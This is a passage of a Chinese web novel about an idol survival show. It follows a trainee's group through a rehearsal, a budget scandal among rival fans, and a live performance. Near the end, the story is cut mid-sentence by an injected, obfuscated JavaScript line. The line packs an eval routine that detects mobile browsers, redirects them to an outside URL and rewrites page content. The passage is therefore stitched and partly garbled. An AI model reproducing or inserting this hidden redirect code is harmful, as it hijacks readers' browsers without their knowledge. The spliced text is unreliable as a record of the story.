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散场后,段琪琪几人很有眼色走了,因为明天还要排练,傅寻砚叮嘱过他们今晚不要睡太晚以免状态差。 虽然排练不是正式演出,但如果收获几位导师的负面评价无疑会给信心带来很大的打击——尤其是当自己实力确实有所欠缺的时候。 终于把他的队友都熬走了,尹星蘅自然而然靠过来准备搭上傅寻砚的肩,没想到和达裴撞到了头,两人对视一眼,还是达裴眼疾手快飞快伸手拽过,将傅寻砚拽倒在他这边。 “嘿嘿,我先抢到了!” “喂喂喂你太过分了吧,明明你们都是舍友,你把寻宝让给我一分钟都不行吗?” 嘶~ “寻宝?”傅寻砚一脸难言地看着尹星蘅,“我必须提醒你弟弟,你比我小。” “喊寻宝像话吗?” “当然啊!现在我可是你的爸爸粉。”尹星蘅一脸骄傲,下意识去拿手机才发现手机被收了,“啊,你必须信我,上次放假后我立马就加入了你的粉丝群呢。” 傅寻砚生无可恋地被笑得癫狂的达裴揽在怀里。 “爸爸哈哈哈哈哈你一小屁孩还爸爸。” 尹星蘅不服,与达裴打闹起来。 白闻及抱着手臂,冷艳地笑,他真服了这群幼稚儿童。不过虽然心里嫌弃,白闻及的屁股也没有挪地方。 明天是正式排练的日子,现在已经晚上十点了,几乎每个队伍都不再安排训练,而是做最后的调整。 白闻及虽然看起来是个什么都不在乎的超绝i人,但其实在他高贵冷艳的外表下还藏着一颗超八卦的心,所以情报很多。 他本来不想用那些去打扰傅寻砚的心情,可作为朋——舍友,适当提醒一下比较好。 于是他拨开双腿缠着傅寻砚的达裴,双手扯住傅寻砚肩膀的尹星蘅,“安静一下,我有正事。” 啊?全体顿住。 被这么几双眼睛瞪着,白闻及有些不自在,“你了解过邵若舟他们组的情况吗?” 邵若舟?啊,对手组。 傅寻砚摇头,“我本来也想和他们沟通一下,但他们拒绝了。” 江瀚举手,“就是啊他们超怪,那天我就是从门口经过好奇而已,脚还没挪过去呢,他们一把就把门关上了,也太神秘了吧?” “是。”达裴也撑住了下巴,一脸不愉快,“群星的架子也太大了,明明每个组都要交确定版的舞台策划,但偏偏他们的没有公示。” “怎么,是怕我们知道了剽窃,嘁。”达裴翻了个白眼。 白闻及的脸色越来越复杂,“据说,他们是准备了秘密武器。” 秘密武器? 22.第二十二日 等排练的时候,傅寻砚终于知道了那秘密武器是什么。 恕他直言,这确实是“秘密”,但根本算不上武器。 “停一下。”姜苏林比了个动作,满脸严肃,看着几个走到面前还一无所觉的孩子,姜苏林抵住了眉,少见的缺乏耐心,“这个方案我不是否决了吗?为什么又出现在这里?” 几人互相看了看,吴瑞克倒是一脸想告状,但话被邵若舟这个队长先抢了,他的余光瞥了一眼四周亮着的摄像机。 “姜老师,我们后来在修改不足的基础上又提交了一稿,欧若老师他们通过了。” ……姜苏林刚要批评,被后边的导演助理戳了戳肩膀。转头便传来低声的汇报,“姜老师,这组的方案节目组这边确实已经通过了,上次您提的问题他们也改了,所以……” 话说到一半打住,因为根本没必要说完,节目剪辑会在这里结束。 姜苏林西装下的手攥了攥,刚刚还怒气冲冲的脸转眼变得疲惫,他似乎对眼前的一切很厌倦,但又无力改变。 “好、好、好。”他连着说了几个好,“我看也没什么问题了,希望你们演出顺利。” 说完立刻坐在了排练厅的观众席,双手环抱一脸冰冷,似乎完全不打算再对他们的舞台提出任何建议。 傅寻砚他们上台时,错身之间听到凌远航在小声抱怨。 “什么嘛,我本来还以姜苏林为偶像呢,他态度怎么那么差。” “周哥提交的方案这么好,欧若老师他们都夸了,不就超了点预算,他又不是资方干嘛那么替节目组省钱?” 邵若舟组没走,他们在底下选了个离姜苏林远远的位置坐下。有周恒宇这个疑似背景深厚的人带头,其他人哪还有什么“尊师重道”的观念。 何况他姜苏林一周就来两天,一次出现三小时的,算什么老师? 舞台上,六个少年换上了西装。 傅寻砚花了很多心思和节目组的妆造老师沟通…… “姐,麻烦你了。”有着昳丽面孔的青年已经卸了妆,但整张脸还是找不到瑕疵,让职业能力超强的化妆师忍不住在脑子里勾画妆容,完全听不清他说什么。 “啊?你说啥。” “我说。”他低下眼眸,明明没有多余的动作,可看起来就像黑夜淋浴的流浪小狗,“我看到他们组的预算了,他们超额很多,甚至占了我们的一部分。” “我知道群星和节目组打过招呼了,您作为工作人员也无法改变这个事情,但能不能……能不能帮我们一把。” “能不能以您的名义,和节目组说您对我们的舞台有其他想法,为了和他们形成对比,他们追求极繁,我们就极简。” “只要六个歌台,其他布景都不要。麦克风麻烦看一看我的草稿,这也花不了多少钱,只要用材料好的假叶子来装饰就好。但——主要是衣服,您能看看我的想法吗?” 妆造师得承认,今天她背叛了她一贯的良好职业品德——对待任何一张美好的脸都不要被迷惑,牢牢记住他们是商品。 然后她就听傅寻砚唠了两小时,最后还接收了他的三张稿纸。 嗯?这玩意儿,到底是哪一秒不注意自己跑到她手里的呢? 当傅寻砚收到衣服和妆造示范图的时候,悬着的心放下了。总负责人刘姐真的帮了忙,让他们得以在镣铐中跳舞。 蓝与白如同雾霭与晴空的交融。上衣冰川蓝的底色上浮着哑光珍珠白的暗纹提花,戗驳领以手工拱针勾勒出冰川裂隙般的利落线条。 双排四粒珍珠母贝扣在走动时泛着冷调微光,与内搭的云朵白真丝衬衫形成柔和的明暗过渡。 同色系九分西裤采用微锥形剪裁,裤缝处嵌着0.3厘米宽的银丝装饰带,在垂坠感极强的面料上划出建筑感极强的纵向光影。 后腰隐藏的立体风琴褶随着步伐舒展,让严谨的商务造型平添流动韵律。整套西装在日光下会呈现奇妙的色彩分层——静止时是冬日海面的冷冽,动态中却翻涌出春湖初融的粼粼波光。 造型师刘姐绝对不会承认,她可是甚至牺牲了私人时间,拿着傅寻砚的照片去外边拉的赞助商。 幸好对方看了他的脸之后就变得格外好说话,立刻同意借衣服,这才让这一套就五千的高级西装(平民版)将这个排练厅照得熠熠生辉。 其中,傅寻砚的西装是特别被指定的,比起其他几条,这条其实没有什么特殊的地方,但就是该死地适配他的气质,有一种冷淡又炽热的感觉,仿佛冰川之下酝酿着火山。 表演《爱·棘》时的傅寻砚也做了造型,将头发烫成微卷,整体妆容还是比较浓的,看起来有一种沉睡之虎的危险而慵懒感。 可这一次,化妆师对着他的照片犯了难,在又翻阅了其他人的照片以及听了他们改编的歌之后,她有了新想法。 无限淡化妆容。 于是台上每个人五官的优势都被毫无修饰地暴露出来。如果说素颜的傅寻砚就有一种超乎寻常的美,那么当上了浅浅一层妆容,他脸上的故事感展现得淋漓尽致。 他站在这里,就好像那种什么背负了千年使命的精灵王——没有子,因为他的气质无论如何也不像“王子”那样脆弱。 即便是周恒宇,也在这组队伍站上台的瞬间就不自觉抓紧了扶手。 一曲毕,台下所有人表情变幻莫测。 周恒宇咬了咬牙,突然对自己对耗费心力布置的一切产生了不自信。 不,不会的——不论怎么样,这场对决他一定会赢的。 在被嗡嗡的恐惧包裹之中,周恒宇完全没有听清他们的歌唱,他整个人都漂浮在空中完全没有任何具体想法。 第二天。 后台的准备室中,傅寻砚从妆造团队手里接过衣服。他没有如此不信任妆造团队的能力,也不相信这些练习生真的有胆子再像MV拍摄时那样搞破坏——事实上那天后傅寻砚又去导演组“告状”,所以存放衣物的储物间增加了好几个监控。 任由造型师在脸上涂涂抹抹,冰凉的手擦过额角和脸颊,傅寻砚抓紧时间补觉时听到她在嘀咕。 “啊啊寻宝呸小傅你真的不打算搞点特别的妆造吗?我在你这发挥全无成就感,好想帮你染个头发啥的。” “可以啊。” “啊?你说什么?”造型师不相信自己的耳朵,微微偏头又确认一遍,整张脸就像盛开的鲜花一样突然充满笑意,“你说真的吗?” “真的吗真的吗真的吗,我真的可以对小傅大人的头发下手吗?” 傅寻砚也被这位年纪不大的姐姐逗笑了,“当然可以,二公舞台我会努力抢适配的歌,到时候拜托姐来给我染头发。” 造型师姐姐激动地狠命拍着傅寻砚的肩,整个化妆间充满她嚣张的笑声:“说好了嗷,一定找我哦一定找我!” 其他化妆的姐姐凑过来问发生了什么,得知真相后一个个气得嘴歪脸斜。 “小可你太卑鄙了!” “就是就是,怎么可以抢跑,我们说好一公结束统一竞争啊!” 节目组目前共有八名化妆老师,加上她们各自小团队里的助理,光化妆这一件事,就有约二十五个人为练习生服务。 正如练习生之间在较劲,化妆师也是——纯摆烂的当然不在此列,但凡对美丽的脸有点追求的,都在偷偷摸摸竞争练习生资源。 尤其是叶莱、傅寻砚、白闻及和伯弥以及Kenny这几个,更是身上插了满满的箭头。 谁知道一不留神,小可这家伙就抢先一步预定了傅寻砚,真是气死人了。 傅寻砚收拾好自己便走出化妆间,进入统一的准备室。 他刚一脚踏入,就听到此起彼伏的抽气声。江瀚喊的最响,摆明是在逗他,但练习生们玩闹归玩闹,眼里的惊艳又不是作伪。 “我的妈妈呀这什么神仙下凡!”在分宿舍时有过一次交集的超级e人刘永善大喊,“救命傅哥你离我远点,今天是我最帅的时刻,我不想被衬托成小丑!” 傅寻砚微愣。 说实话,他已经很久很久没有受到过如此直白而热烈的夸赞了。 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“完了,看来傅寻砚的脸已经变成了漩涡。”白闻及隔着人海吐槽,黑色衬衫,红色马甲,今天的白闻及完全蜕变,没有了一开始的清冷隐逸,反而变得凶狠锐利。 身边的沈迟也看过去,额前一抹垂下的刘海让他今天不再是不成熟的弟弟,而成为真正的年上男。 傅寻砚面前短短十几秒就围满了人,神奇的是无人做声,连呼吸都放轻了。 节目正如先前所预告的一样开启了直播,这一幕也毫不掩饰地被记录进了镜头。 [我勒个超绝魅魔,镜头老师!镜头老师!请给我也看看!] [真的是盛况啊盛况,头一次看见人的美貌能把这么多同性折服的] [啊啊啊啊我抓耳挠肝,达裴你给我让开让我看看我们的脑婆!] [阿西第一次这么讨厌这些男的,你们看够了没我就问看够了没!观众没有欣赏美貌的人权吗!] 见过道越来越拥堵,选管终于注意到了弹幕强烈的要求,赶紧过去将练习生一个个挥开,偏偏他们还很失神地盯着中间那位不放。 当包围着傅寻砚的人散开,弹幕也开始同样沉默,好半天才颤颤巍巍飘出来一条。 [斯哈斯哈斯哈,原来寻宝淡妆是这样的,美绝了!] [我已经无fuck可说,哥哥up我!] [裤衩子呢?谁偷了我裤衩子?] [超绝小白花,就那种要掉眼泪又不掉那种大家懂吧?] [没想到啊没想到,傅哥没了全包眼线居然走这风格,爱看多来] “他们真是的,就是仗着坐得离傅哥近……”沈迟嘟嘟囔囔,有些失落。明明他们204宿舍关系最好,现在他和白闻及竟然挤不过去。 就是说他们这群臭男的看完能不能赶紧走,围在那是想干什么!别把我傅哥的新鲜空气挤没了! 等段琪琪他们也做好造型出来,同样收到了热烈的赞叹,比起其他队伍或中二或强烈的风格,傅寻砚这组属于淡淡却又极致美好的类型。 衣服的用料一看就很精细,整体上也有质感,完全不是其他人能比的。 一公决定跳劲歌的Kenny看了看他们,笑着用不算流利的中文故意问身边人:“他们、他们的衣服很漂亮呢,我、我们不能比得上。” 身边的蓝翼周迟疑地看了他一眼,应和:“嗯,可能是因为傅寻砚人气高所以花费多吧。” [嗯?Kenny和蓝翼周在说什么?我看节目清单不是说每首歌的预算一样吗?] [注意,是每首歌啊每首歌,说不定一组特别高一组特别多呢] [啊这样的意思不就是傅寻砚挤占了隔壁邵若舟的预算] [呵呵楼上把你皮披好了,再敢胡说一个试试看呢] [笑死,周姐闻着味就来了,拜托你们公司那么捧你家小周,我寻宝哪敢用你们的预算啊] [笑死,傅寻砚他们穿的衣服不是已经给答案了吗?我都扒到了F家夏季款,一条在5k以上,还说没占预算?] 23.第二十三日 舞台还没开始,弹幕已经越吵越激烈,话题全在傅寻砚他们组的衣服上。 众所周知选秀节目的造型投入取决于节目组抠不抠,而以《新世纪》的实力,不可能F家5k+的西装套说买就买。 准备室内所有人的衣服一览无余,连现在排名第一的叶莱,队伍的衣服质感也差了一级,所以傅寻砚组的衣服确实看起来不正常。 [恒宇群星:我就说肯定不对劲,搞错没啊就因为傅寻砚有那个破话题节目组就那么照顾?姐妹们必须维权!不然他们以为我们恒宇就是好欺负的!] [周恒宇C位出道!:支持!太过分了,傅寻砚组这个预算肯定把对面碾压的什么也不剩了,我宝难怪白T上场呢!] [酸酸甜甜果丽珍:节目组不做人啊!傅寻砚去死好了!干嘛来挤占选秀节目名额,明明实力也很差] [新世纪小甜甜:你妹的老娘本来想忍了,楼上是有病吧,早点省钱别给哥哥打投给自己治治脑子ok?初舞台播的时候你眼瞎了,这两天热搜挂着你眼也瞎了?寻宝就算实力不是第一,也绝对碾压你家的吸血哥] [地球穿越线:吸血哥粉丝也是蛮好笑的,自己家实力几何没点数?叶莱那边都把你们骂出翔了跑我们这里来耍横,呵,别以为寻宝之前没粉丝基础现在就任人欺负] 五分钟后,吵架状况愈演愈烈,网络上一片波诡云谲,多亏柳雨和陈敛清的“友好外交”,叶莱大粉同意一起下场撕吸血哥,导致吸血哥广场被屠了。 虽然零里零散的小号还在骂人,不过段时间不敢大声嚷嚷,毕竟她们广场现在全是一条条“实力不济,吸血飞升”的吐槽,路人一看这架势哪里还敢变粉啊。 回到现场,直播间被工作人员管理着,选手们又看不见,他们只是安静又激动地等待着上场。 傅寻砚组的段琪琪运气极好,代表《风啊,又是一夜雨》抽中了第5名的表演,第6名则是尹星蘅他们的《一首情歌》,对抒情曲来说,并列一块虽然有内部竞争,但却比被劲歌热舞左右夹击的局面要好上太多。 前面几组的发挥客观来说都——很一般。 正如傅寻砚上辈子所看到的那样,问题有两个。 第一,练习生里有改编能力又有时间和想法去改编的人很少,交给外包改编后弄得四不像,虽然不至于难听到哪去,但既没有新意也没有爆点。 第二,这种练习生选人组队的模式其实很考验大家的长远眼光,但很不幸姜苏林抽中的队长基本都是短视的家伙,这群人恨不得飞快把AB班的人纳入队伍,全然不考虑是否与歌适配,以及队友之间的默契问题。 能呈现出现在这个效果,那都是大家的实力在撑着。 尤其是叶莱所表演的《热血战歌》,算是他试图转型的第一次尝试,整首歌的鼓点很激烈,情绪也很饱满,作为舞曲很不错,但奈何他们组有张池和R.TAI,这两货rap还行但舞蹈拖了超大后腿。 尤其是张池,甚至在公演场合走错了一个位置,和队友撞了一下,要不是叶莱反应快回手把他拉到正确位置,还不知道下场会怎么样。 达裴和江瀚所在的《Hold》缺主唱,靠一把鼻涕一把泪竞争上C位的家伙在现场直接破音,成功把队伍送走。 唯一有好结果的就是沈迟、白闻及和旻海他们一组,靠着高人气和不错的表演倍杀隔壁,是傅寻砚好友里唯一赢了的队伍。 很快八组表演就结束了,耗时两小时,已经算“转台”比较快的了,毕竟要放别的节目,光搞布景什么的都得半小时起步。 《新世纪》的女导演沈子卿是个聪明人,采用了一些高科技手法,大大降低了时间的浪费。 底下的观众体验感也不错,虽然本来就做好准备长时间站着,但两小时八首歌,还是大大超乎她们的预期了。 精力的节省也将反哺到后面的舞台,通常而言,选秀节目越晚表演越失利,因为五六小时的录制常常让人精神崩溃,后面粉丝都快累死了谁还管舞台上表演什么。 除了那群真爱粉。 柳雨拽着小美的胳膊不让她乱跳。 “姐妹!姐妹这不是夜店!千万别蹦!” “我知道啦,我刚刚就太激动小蹦了一下,之后绝对不会。”小美打包票,“还有你放心,灯牌啥的我有藏好,不会掉的。” 柳雨担心的就是这个。节目组其实不让带灯牌——那样不是明晃晃告诉看直播的观众其中存在一些“作弊票”? 但傅寻砚上次上大巴去拍综艺的表情太让他们心疼了,所以柳雨跟后援会所有粉丝说好,大家一起制作一块灯牌由她带进去,到时候就算被查到被赶出去,也还算能接受。 她们必须要让寻宝看见,当他在《新世纪》战斗时,不是一个人,他的身后还站着很多很多支持他、喜爱他的人。 她们将成为他的力量。 况且,这种事情也不是一家在干,很多管理比较差的后援会甚至夹带了三四块灯牌和很多应援物进来,柳雨看着都替她们担心。 毕竟要是真的被直播粉丝扒出来,到时候又是一场恶战。 柳雨特地和群里其他姐妹换了票,她会站在傅寻砚能看见,但属于直播死角的地方,绝对不给傅寻砚添麻烦。 一公的票都靠手速抢,人气越高也就越能占有更多席位来给自担投票。但一共300个座位,每人次中奖概率又一样,哪家粉丝也不能精准控制中选率。 但还是必须互通有无。 根据柳雨的询问,不计那些散粉,傅寻砚的粉丝这次占到了6%,是个相当不错的数字。虽然比起叶莱的8%,伯弥的6.5%和尹星蘅的6.9%还有差距,但也不能不承认,因为傅寻砚的后援会刚建立,很多体制不成熟,柳雨一个人管不过来,很多粉丝都不会抢票。 相信下次会有进步。 根据抽签结果,周恒宇在傅寻砚他们之前,但实际出演顺序…… 是周恒宇在后。 没什么理由,周恒宇想要,所以群星就安排。 “我去,周恒宇真的是群星太子爷吧?为什么群星那么舍得啊?我真的不懂。”白镇凑在傅寻砚耳边嘀咕。 白镇刚刚染了粉色的头发,配合他的脸也出奇好看,如果不是他个子不够高,他也能加入颜霸的竞选。 傅寻砚看着台上忙忙碌碌搬东西的场务以及等在黑暗中准备上场的邵若舟一组,略微皱起眉。 周恒宇…… 上辈子这个人还算低调,似乎没有任何利用特权的行为,但不知道为什么这一次会变成这样。 如果周恒宇知道傅寻砚的想法,会毫不犹豫地回答:还能为什么?因为有利可图了呗。 周恒宇的底气在于他的家庭,他的舅舅是群星公司的经济部管理人,母亲是一代歌后,父亲则是上世纪八九十年代有名的电影明星,只不过很早便因伤退圈。 这样堪称全明星家庭的背景,让周恒宇在娱乐圈顺风顺水,一切只看他想不想要。 长到二十岁眼看着H流红红火火,虚荣心不小的周恒宇立刻加入了舅舅所在的公司,只接受了两个月的训练便和叶莱组队去节目。 得益于还算不错的协调能力,虽然没有数年的练习经验打底,至少能够选一个rap位——不是说了吗?这年头唱歌跳舞不行的,就选择rap位,反正那群粉丝也听不出区别。 上辈子周恒宇也想红,但一看这节目热度,到时候出道了还不得是自己拖航母?所以果断选择观望,到最后干脆退出出道竞选。 可这辈子就不一样了,现在《新世纪》可是最火的选秀节目,可谓现象级,虽然因为规则限制票池加起来只有五千万,但周边产出、商品赞助这些总计可是已经在短短一周内飙升两个亿的真金白银,远远超过节目当初的六千万投资。 怎能不让人眼红。 何况现在粉丝不是喜欢贵公子人设吗? 周恒宇在台上站定,交错的布景美轮美奂,垂下 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她再次瞥了一眼舞台上,遥远的地方竖起了几座白墙,练习生们就在白墙后一个个若隐若现,一会能看见一会又看不见,着实让人恼火。 “风啊,在同样的深夜我又遇上一场大雨 四年前的那天仿佛从未走远 我把行囊背起,我踏上不归的路 转头突然遗憾,我不曾与她打招呼” 吴瑞克的声音非常稳定,将大家带入那个寒冷瑟缩的深夜,直播中他的脸也很立体,有着超乎寻常的冲击力。 “艹我宝怎么才这么短一段!”那女孩立刻小声抱怨,“他不是这组唯一的vocal担吗?搞什么啊?” 很快大家就知道为什么了。 因为五秒钟后,一段虽然包含情感但尴尬到脚趾抠地的念白开始了。 [淡黄的长裙,蓬松的头发接班人来了] [????????] [啊?我一个啊?] [打问号的都是黑子吧?明明恒宇的念白很深情啊!] [就是,这么高级感的段落!不和没品不会欣赏的人说话] [……啊啊啊啊为什么看选秀的时候还要让语文课还要抢音乐课的时间!!] [笑死,前面高三牲感同身受了] [唱歌归唱歌,你可以把我唱感动,但不要给我来一段尴尬的煽情!] 底下观众席又是一阵骚动,几乎所有人都眉头紧皱,连周恒宇的粉丝都默默收起了灯牌——从现场效果来说,真的很尴尬啊啊啊! 直播好歹还能怼脸凹故事感,现场对着空气感慨啊! 更何况,周恒宇的技巧虽然有,但他的声线完完全全不适合抒情,有种街头混混强制爱的违和…… 有些真正的节目粉当即开始在手机上编辑: 一公第九组邵若舟组,舞美五颗星,场景搭建绝对是所有舞台里最好的,但线下.体验感很差,全程看不见脸。唱歌上,吴瑞克稳定发挥,好听;其他人,不合格;尤其是周恒宇,念白听得全场骚动想逃跑。 综合推荐指数:三颗星顶天了。 一曲毕,所有人都沉浸在一种怀疑人生的梦幻里。 “这真的是陈老师的《风啊,又是一夜雨》吗?我怀疑我耳朵聋了没听出半个调。”有人小声吐槽。 旁边周恒宇的粉丝立刻反驳:“你耳朵不好啊,明明那么好听哪里听不出调了?” “呵呵。”被怼了的观众小声逼逼,但看着对方的浓烈妆容有点害怕,只好往旁边挪了挪身体,“不好听还不让人说,他家粉丝还真霸道。” 身边是一位打扮很成熟的女士,这很罕见,因为来看现场的基本都是十几二十岁的年轻女孩。 那女人头顶卡着墨镜,留着一头凌厉的短发,看起来很职业女性的样子。她抱着双臂斜睨了一眼周恒宇的粉丝,没有介入这两人的争端,而是重新若有所思地将目光移回台上。 实力不行,粉丝低龄,pass。 24.第二十四日 “啊啊啊啊!寻宝!寻宝来了!”小美激动盯着大屏,抓着人蹦跶了两下才发现柳雨好像在她另一侧,慌忙和那人道歉。 “抱歉抱歉我有点太激动了,姐妹——姐姐你没事吧,疼不疼?真的对不起!”小美侧头看见那位的时候,幻视自己的老板在身边。 卑微的社畜灵魂让她下意识开始抱歉,恨不得把头摘下来磕一个。 “没事。”墨镜女人短时间遭遇了两次“袭击”,以手抵眉拧了拧,旋即像是想起什么,“你刚刚喊‘寻宝’,是傅寻砚吗?” “对啊对啊!姐姐你有兴趣入股吗!”小美向来热情,立马从怀里鼓捣着准备挑一张自制贴纸给对方,但选来选去舍不得任何一张,最后还是忍痛割爱将那张大巴神照递给对方。 “入股不亏哈入股不亏,就算不入看看我家寻宝也会好心情哈。” 墨镜女人挑了挑眉,还是接过。那张小纸片上男孩眉眼清隽,完全素颜也呈现出一种很浓烈的帅气。 五官立体没什么可挑剔的地方,更绝的地方在于他有一种年轻人罕见的“故事感”。脸型不是一刀切的流畅,生长着那种正常人该有的棱角,皮肉紧致而眼睛有光。 墨镜女人安静了好一会,小美本来还想继续安利,但傅寻砚已经出现在台上,她立刻陷了进去再也没时间和旁边的人交谈。 姜苏林照例要进行介绍。 “好的,现在让我们欢迎《风啊,又是一夜雨》B组成员,请自我介绍。” 几人相视一笑,全都看向傅寻砚,那个穿着蓝白西装的背头男孩轻轻一笑,便引发了底下一片惊呼。 如果这时候镜头扫过去可以发现,根本没有人在看台上,都在盯着手机直播里某人的脸呢。 手机屏幕里的脸更是帅的惊天动地、惨绝人寰,与主题曲MV完全的背头不一样,今天的傅寻砚额前有一抹逗号刘海,但很高,不会遮掉他的脸,让他在成熟感之外又多了分游刃有余的从容。 那颗鼻尖的痣没有被修饰掉,像一滴血,一小颗钻石嵌在那里,动人心魄。 “一,二,三” 启唇,清透的嗓音穿过话筒飘扬在演播厅。 “大家好,我们是‘风啊今天晴了’组。” 姜苏林不自觉露出笑容,“哇没想到B组的队名和歌名好呼应呢,是有什么深意吗?” 傅寻砚作为队长抬起话筒,他没有戴美瞳,亮闪闪的眼睛里倒映着演播室的灯光,璀璨无比。 “因为我们把原曲做了小小的改动,希望在如今这个不同的时代里,为陈老师继续传达这首歌的力量,告诉每个人,即使迎面而来的依旧是风雨,但请不要放弃,总有一天我们会遇见晴天。” 姜苏林鼓掌,又问:“你们的立意很好,看来对歌曲有很深的理解。” 白镇在旁边回答,皱着眉佯装吐槽,“是啊,前两天傅哥熬夜赶编曲的时候,我们的任务就是把陈老师那张专辑的MV仔仔细细都看了一遍,所有歌也都听了一遍。” 蒋安也补充,“傅哥说因为这首歌是陈老师的自作曲,虽然我们改编了,但陈老师的核心理念我们不能改,所以只有理解陈老师的音乐理念才能把这首歌完美演绎出来。” 年纪最小的段琪琪连忙朝着镜头作揖逗趣:“陈老师,您最近账户多收到的版权费肯定是我们组反复收听和下载贡献的,这都是我们对您的爱啊!” 无数在网络流浪的网民们很快发现,那位专注音乐很少上网的陈老师陈鸣雀竟然在三分钟后顶着大号就进来了直播间。 并且即将贡献他的第一个直播间航母。 “真的很用心,我能感受到你们的认真。”姜苏林突然严肃地夸赞,片刻后又恢复了那种温文儒雅的笑容,“那么事不宜迟,请大家欣赏B组的表演!” 几人没像之前A组那样下台,而是往后退了一步,几个工作人员立马搬来被涂成白色的歌台,以及拿上来几个立式话筒。 “啊?就这?”小美傻眼了,“不是,布景也太简单了吧?” 柳雨倒是意识到了什么,边在粉丝群安慰大家不要闹事,边给出解释,“我觉得应该是寻宝把预算都花在了衣服上……” “但钱还是对不上啊。”柳雨遥遥看向前排,一个带着摄像机的女生也忙着在手机上打字,一贯的高马尾,正是成立了新个站“一方青砚”的陈敛清。 对方混迹粉圈多年,人脉很广,迅速打听到了内幕发给柳雨。 一公每首歌的预算都是四万,正常情况下每组两万,但《风啊,又是一夜雨》不正常的地方在于邵若舟组的布景绝对超过两万,更别提还要加上他们的妆造了和灯光了。 而如果网友扒出的傅寻砚组的衣服是真货,那么六个人也超过了两万。 就在网上议论纷纷,甚至开始怀疑节目组是不是私心傅寻砚给了他更多预算时,F家自己主动进行了辟谣。 第一次看见官博下场用非常幽默亲民的语气解释,是他们很喜欢傅寻砚的形象与气质,希望有后续合作,所以与节目组联系进行了赞助。 特别注明:仅赞助傅寻砚一组。 [啊,这样说来寻宝这组岂不是根本没怎么花钱?] [破案了吧,周恒宇那边贼喊捉贼,明明预算他们超额了……] [挑拨离间的滚,恒宇和寻砚关系老好了,这明明是节目组安排的问题!] [……前面是蹲练习生床底了?反正我看官方物料是没看出任何“关系好”] 本来弹幕还想吵,但随着第一束白色的光照耀到台上,所有人噤声。 舞台布景极为简单,仅在后方有几缕若隐若现的烟雾,仿佛为整个空间蒙上了一层梦幻的薄纱,更衬出偶像的孤独与纯粹。 他们手中的麦克风十分梦幻,透明蓝色的叶子在灯光下闪烁着光芒,宛若被风吹得将要凋零,有种支离破碎的美。 几人错落展开,傅寻砚在左三,他是第一个开口的。 那透亮的声线如第一缕穿破晨雾的阳光,就这样为整首歌垫下基调。 “我的原野长出太阳/亲爱的候鸟/拜托听到我的恳求/从南方回来” 哀戚恳切,但充满了力量,与原曲有所不同,甚至没有给人任何失落颓丧的空间,就一把将人从迷雾里拽了出来。 镜头里的青年闭上双眼,歌声如潺潺流水般从他口中倾泻而出。微微仰头而露出的漂亮脖颈脆弱易折,那朵绽放在左肩的花朵微颤,仿佛随着歌声融化。 整个演播室,骤然安静,除了那舞台上的歌声连呼吸都听不见。 每一双眼睛,每一双,都亮闪闪而死死地盯着台上的那个身影。不再需要通过手机直播,她们以肉眼见证了更极致的美丽。 几秒后,段琪琪的脸也出现在镜头里。娃娃脸的男孩唱着“我把行囊背起/我踏上不归的路/转头突然遗憾/我不曾与她打招呼”,不再像是与恋人告别。 而是与母亲,是少年离家的愁绪,与母亲,与最温暖舒适的港湾道别。 还没等大家缓过神,又是另一张好看的脸。染了粉发的白镇淡化了棱角,温柔得不可思议,粉色的唇开闭间,将痛苦化作一种回忆的淡然而缓缓道出。 他们不再是为下工潮而绝望的中年男子,而是同样经历了这一些的孩子,亲眼见证了父亲的白发和母亲的皱纹。 他们心疼父母,也终于意识到了自己的责任,于是离开遮风避雨的巢穴,作为初成长的雏鹰振翅准备翱翔。 他们要闯荡,他们不要再心安理得享受一切的孩子,他们要站出来,为父亲披上冬衣,为母亲擦拭汗水。 一个气口终于在白镇唱完后被留出,所有人——甚至连导播都忍不住跟着轻喘。 后台观看室里的姜苏林、欧若几人听到耳边如出一辙的喘息,不由得互看一眼,还不等会心一笑,屏幕中彭思源、蒋安和顾峰格外坚毅的面容就袭击了眼睛。 他们相比在场的练习生有一种独特的优势,他们长得“更老”,或者说,是更有味道,是那种成熟男人的魅力。 在这一瞬间,配合着歌声,配合着简单的布景与蓝白相间的灯光,这种质朴而直击人心的魅力被放大到极致。 “如今的深夜我再难回忆起当时的心情 那些痛苦就好像只是梦中一场雾 轻飘飘被吹散,恍恍惚惚落心间” 三人粗犷的嗓音进行了一段合唱,傅寻砚在里边托底,根本听不出他们任何歌唱上的问题——当然,个别练习生因为紧张的轻颤几乎可以忽略不计。 他们很稳,是节目进行到现在最稳的一组,每个人都专注于自己的唱段,在短短一周里打磨了上千遍。 他们让傅寻砚所信任的练习生做观众,也模拟排练了十几遍,足以克服生涩。 这是一场完全没有悬念的绝杀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203300|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤其是随着彭思源低沉的最后一句话落下,背景音空白了两秒,随后,傅寻砚的高音如划破黑暗的利箭,为人们扯下天幕,带来无尽光明。 “我的原野长出太阳/亲爱的候鸟/已回到身旁” “不归的路/梦中的迷雾/再无法阻挡我的脚步” 又是合唱,傅寻砚清亮的高音垫在底部,让这一段格外气势磅礴,仿佛将人们的心整个拽起,人也轻飘飘浮起在空中。 直到灯光熄灭后五秒,场内也没有任何声音。 “安可!安可!”一个女生喊。 “安可!安可!”混杂着男生的嗓音一起。 “安可!安可!”连摄像师都忍不住跟着喊。 所有观众的眼角都溢出了水光,有几个年轻人因为被这样的气氛感染而忍不住流泪。 他们也许不了解这首歌,但所有人都能感受到傅寻砚他们歌声中的哀戚、温暖,和那最后驱人向上的磅礴力量。 在这样一个简单的舞台上,B组仿佛构建了一个属于自己的世界,让所有人沉浸其中。 傅寻砚已经看不清面前的景象,他的眼眸里同样有了雾气,他走下歌台,与其他人拥抱在一块。 段琪琪哭得很惨,虽然其实并没有什么理由。 连蒋安和顾峰两个模特酷哥也在拭泪。 作为最先清醒过来的人,傅寻砚拍拍大家的背,在西装口袋里摩挲了一下找到了餐巾纸递给大家。 弹幕里F家见缝插针投了个最高级的彩色评论。 [(擦掉眼泪)看,我们的西装是真口袋!让大家在如此动人的旋律中还能掏出纸巾挽救一下仪表哦~~] 